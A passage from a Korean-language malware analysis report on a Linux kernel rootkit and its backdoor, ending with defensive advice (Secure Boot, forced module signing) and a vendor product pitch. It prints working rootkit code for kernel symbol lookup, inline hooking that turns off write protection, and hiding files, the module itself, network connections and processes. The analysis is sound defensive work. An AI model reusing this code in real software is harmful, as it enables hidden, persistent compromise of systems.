if((p = _strstri(read_buf, tmp_symbol_name)) != NULL) {
if((*(p+len) != '\n') && (*(p+len) != '\t'))
continue;
while(*p--)
if(*p == '\n') break;
i = 0;
while((tmp[i++] = (*++ p)) != ' ');
tmp[--i] = '\0';
addr = (void*)simple_strtoul(tmp, NULL, 16);
break;
}
}
filp_close(file,NULL);
set_fs(old_fs);
return addr;
}
C
복사
코드 18. util.h:157 리눅스 커널 5.6 미만은 /proc/kallsyms를 직접 읽어 API 주소 추출
#define KPROBE_LOOKUP 1
#include <linux/kprobes.h>
static struct kprobe kp = {
.symbol_name = "kallsyms_lookup_name"
};
static void *lookup_kallsyms(const char *func_name, char *_path, int search_cnt)
{
typedef unsigned long (*kallsyms_lookup_name_t)(const char *name);
kallsyms_lookup_name_t kallsyms_lookup_name;
register_kprobe(&kp);
kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr;
unregister_kprobe(&kp);
return (void *)kallsyms_lookup_name(func_name);
}
C
복사
코드 19. util.h:242 리눅스 커널 5.6 이상은 kallsyms_lookup_name() 함수를 사용한 API 주소 추출
인라인 후킹을 하기 위해 먼저 커널 함수의 주소를 찾는다. 공격자는 커널 5.6 버전을 기준으로 찾는 방법을 나누었다. 다만, 커널 5.5~5.6을 제외하면 kallsyms_lookup_name() 함수의 심볼이 export 되지 않기 때문에 그 이후 버전에서는 아래 코드는 작동하지 않는다.
int do_hooking(void)
{
int i;
hook_t *item = NULL;
if(strstr(UTS_RELEASE, "xen") == NULL )
{
GPF_DISABLE
}
for (i = 0; i < MAX_INDEX; i++)
{
item = &_tbl[i];
if (item->name == NULL)
continue;
debug("--> %s hooking \n", item->name);
if (atomic_read(&item->usage) == 1)
{
if(strstr(UTS_RELEASE, "xen") == NULL ){
/// GPF_DISABLE
#if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 18)
set_page_rw((unsigned long)item->target_map);
#endif
} else{
set_page_rw((unsigned long)item->target_map);
}
patch_jump(item->target_map, item->target, item->handler);
if(strstr(UTS_RELEASE, "xen") == NULL ){
///GPF_ENABLE
#if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 18)
set_page_ro((unsigned long)item->target_map);
#endif
} else{
set_page_ro((unsigned long)item->target_map);
}
}
}
if(strstr(UTS_RELEASE, "xen") == NULL )
{
GPF_ENABLE
}
return 0;
}
C
복사
코드 20. rhook.h:284 인라인 후킹 JMP 삽입
함수의 주소를 가져온 후 해당 메모리 페이지의 쓰기 권한을 부여 한 후 JMP 구문을 삽입한다. JMP 구문은 0xFF 0x25 + 4B를 통해 절대 주소로 JMP 한다.
사진 12. x64의 PTE 구조
공통적으로 CR0의 WP 비트를 변경한다. 이후 커널 버전에 따라 페이지 속성 변경 구현 방법이 차이가 있는데, 리눅스 커널 2.6에서는 change_page_attr() 함수를 사용해 변경하고 그 이후 버전은 PTE의 Write 플래그를 변경하는 방식으로 구현했다.
파일 은폐
while (offset < ret)
{
current_dir = (void *)dirent_ker + offset;
if((lookup_files(current_dir->d_name) == 1) || (memcmp(_kname, current_dir->d_name, strlen(_kname)) == 0))
{
debug("test dir:1111 - %s \n", current_dir->d_name);
if ( current_dir == dirent_ker )
{
ret -= current_dir->d_reclen;
memmove(current_dir, (void *)current_dir + current_dir->d_reclen, ret);
continue;
}
previous_dir->d_reclen += current_dir->d_reclen;
}
else
{
previous_dir = current_dir;
}
// Get the next dirent offset
offset += current_dir->d_reclen;
}
C
복사
코드 21. rfile.h:121 getdents() 리턴 값을 조회해 공격자가 지정한 파일은 제거하는 코드
getdents(), getdents64() 함수를 후킹해 리턴 값을 조회한다. 그 후 공격자가 지정한 파일 이름과 일치하는 파일이 발견된 경우 해당 파일은 리턴 값에서 제거하여 ls 명령이나 파일 탐색기 등으로 파일을 확인할 수 없게 한다듈 은폐
커널 모듈 은폐
struct list_head *mode_prev;
static struct list_head *_kobj_prev;
struct kobject *kobject_prev;
struct kobject *_parent_prev;
static int mod_hide = 0;
void hide(void)
{
if (mod_hide == 1)
{
return;
}
mode_prev = THIS_MODULE->list.prev;
kobject_prev = &THIS_MODULE->mkobj.kobj;
_parent_prev = THIS_MODULE->mkobj.kobj.parent;
list_del(&THIS_MODULE->list); //procfs view
kfree(THIS_MODULE->sect_attrs);
THIS_MODULE->sect_attrs = NULL;
_kobj_prev = THIS_MODULE->mkobj.kobj.entry.prev;
mod_hide = !mod_hide;
}
void show(void)
{
if (!mod_hide)
return;
list_add(&THIS_MODULE->list, mode_prev);
mod_hide = !mod_hide;
}
C
복사
코드 22. rmod.h:20 커널 모듈 은폐 코드
커널 모듈 링크드리스트에서 VMmisc.ko 노드만 연결을 해제하여 현재 로드된 모듈에서 VMmisc.ko를 발견할 수 없도록 한다. 드라이버 언로드시 정상 언로드를 위해 다시 링크드리스트에 추가하였다.
네트워크 통신 은폐
if(check_(_sock) == 1)
{
return 0;
}
if (_sock->sk_state == TCP_TIME_WAIT)
{
itw = inet_twsk((struct sock *) v);
if ((itw->tw_daddr == login_ctx.control_sip && itw->tw_dport == login_ctx.control_sport) || (itw->tw_rcv_saddr == login_ctx.control_sip && itw->tw_sport == login_ctx.control_sport))
{
debug("ip hidden (time_wait) \n");
return 0;
}
}
if (login_ctx.control_sip != 0)
{
if ((_daddr == login_ctx.control_sip && _dport == login_ctx.control_sport) || (_rcv_saddr == login_ctx.control_sip && _sport == login_ctx.control_sport))
{
debug("ip hidden (established) \n");
return 0;
}
}
return ((typeof(_tcp4_seq_show) *)hk->stub_bak)(seq, v);
C
복사
코드 23. rpkt.h:219 tcp4_seq_show() 함수 리턴 값 조작 코드
tcp4_seq_show() 함수를 후킹해 공격자가 지정한 네트워크 통신을 숨길 수 있다.
프로세스 은폐
#if LINUX_VERSION_CODE > KERNEL_VERSION(3,10,0)
static int n_filldir( struct dir_context *nrf_ctx, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type )
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 8)
static int n_filldir(void *__buf, const char *name, int namelen, loff_t offset, u64 ino, unsigned d_type)
#endif
{
char *endp;
long pid;
struct task_struct *_task;
struct task_struct *tsk_parent;
pid = simple_strtol(name, &endp, 10);
if (pid >= 3)
{
rcu_read_lock();
#if LINUX_VERSION_CODE >= KERNEL_VERSION(3,10,0)
_task = pid_task(find_pid_ns(pid, task_active_pid_ns(current)), PIDTYPE_PID);
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 25)
_task = pid_task(find_vpid(pid), PIDTYPE_PID);
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 8)
_task = find_task_by_pid(pid);
#endif
rcu_read_unlock();
if (_task != NULL)
{
tsk_parent = get_task_parent(_task);
if (tsk_parent != NULL && tsk_parent->pid != 1 && tsk_parent->pid == _root && _root != 0)
{
debug(" 1. pid %ld ppid %ld\n", (long)_task->pid, (long)tsk_parent->pid);
if (strstr(_task->comm, "sh") != NULL || strstr(_task->comm, "bash") != NULL)
{
debug("sh pid %ld ppid %ld\n", (long)_task->pid, (long)tsk_parent->pid);
_sh = _task->pid;
}
return 0;
}
if (tsk_parent != NULL && tsk_parent->pid != 1 && tsk_parent->pid == _sh && _sh != 0)
{
debug(" 2. pid %ld ppid %ld\n", (long)_task->pid, (long)tsk_parent->pid);
pid_hide(pid);
return 0;
}
#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 8)
if (strstr(_task->comm, _kname) != NULL)
#endif
{
// set pid
_root = pid;
pid_unhide(pid);
pid_hide(pid);
debug(" 0. %ld name:%s \n", pid, _task->comm);
return 0;
}
if (is_pid(pid))
{
return 0;
}
}
}
#if LINUX_VERSION_CODE > KERNEL_VERSION(3,10,0)
return ptr_filldir(nrf_ctx, name, namelen, offset, ino, d_type);
#elif LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 8)
return ptr_filldir(__buf, name, namelen, offset, ino, d_type);
#endif
}
C
복사
코드 24. rproc.h:84 filldir() 후킹 코드
readdir(), filldir() 함수를 후킹해 백도어 프로세스와 백도어를 부모 프로세스로 하는 하위 쉘 프로세스를 숨길 수 있다. 리눅스 커널 6.1 이후는 filldir의 리턴 값이 bool 이기 때문에 최신 리눅스에서는 사용할 수 없다.
3.3. backdoor/20220812 백도어 결론
공격자는 공통적인 백도어의 기능으로 파일 업로드 및 다운로드, 리버스 쉘, 리버스 프록시를 구현했다. 때문에 백도어가 설치된 시스템은 추가적인 악성코드를 설치 당하거나 피해 시스템으로부터 수평 이동(Leteral movement)을 통해 내부 네트워크로 악성코드 확산 및 중요한 정보를 탈취당할 수 있다.
초기에 개발했던 커널 드라이버는 단순히 netfilter를 사용해 유저모드 백도어 실행 시점을 조절하는데에만 사용했지만, 2023년의 버전과 tomcat 루트킷은 유저모드 백도어 및 자기 자신을 은폐하도록 개발해 악성 행위를 탐지하기 어렵도록 점점 고도화 하였다.
4. 루트킷 시연
5. 대응 방안
•
Secure Boot로 루트킷 차단
리눅스 커널은 UEFI Secure Boot가 활성화되어 있으면 서명되지 않은 서드파티 드라이버의 로드를 차단하므로 윈도우와 마찬가지로 루트킷 드라이버의 로드가 기본적으로 불가능하다.
◦
조치 예시
▪
UEFI 설정에서 Secure Boot 활성화
▪
Secure Boot를 사용할 수 없는 환경에서는 CONFIG_MODULE_SIG_FORCE 옵션을 활성화하여 리눅스 커널을 직접 컴파일해 모듈 서명 강제를 적용
단, 시스템에서 신뢰되는 서명(예: 서명 키)이 탈취되어 APT(고도화된 지속 위협) 공격에 사용되는 경우에는 이 방법으로도 차단할 수 없다.
•
방어 쳬계의 실효성 검증 및 고도화(BAS 도입)
당사의 솔루션인 PurpleHound는 실전 기반 시나리오를 재구성하여 기업이 보유한 보안 장비와 시스템이 실제 공격에 얼마나 효과적으로 대응할 수 있는지를 검증할 수 있도록 지원하며, 최근 이슈가 되고 있는 공격 시나리오를 선제적으로 분석하여 보안 위협에 앞장서 대응하고 고객사가 신속하고 정확하게 위협을 검증할 수 있도록 전문적인 지원을 제공하고 있다.
◦
보안 공백 식별: 현재 운영 중인 보안 솔루션(EDR, 방화벽 등)의 탐지/차단 누락, 설정 오류, 정책 미비점 등 우리가 미처 인지하지 못했던 실질적인 보안의 허점을 선제적으로 식별한다.
◦
데이터 기반 방어 최적화: 어떤 공격 경로가 유효하고 어떤 방어 체계가 효과적인지에 대한 객관적인 데이터를 확보하여, 추측이 아닌 증거에 기반한 보안 투자 및 정책 개선을 가능하게 한다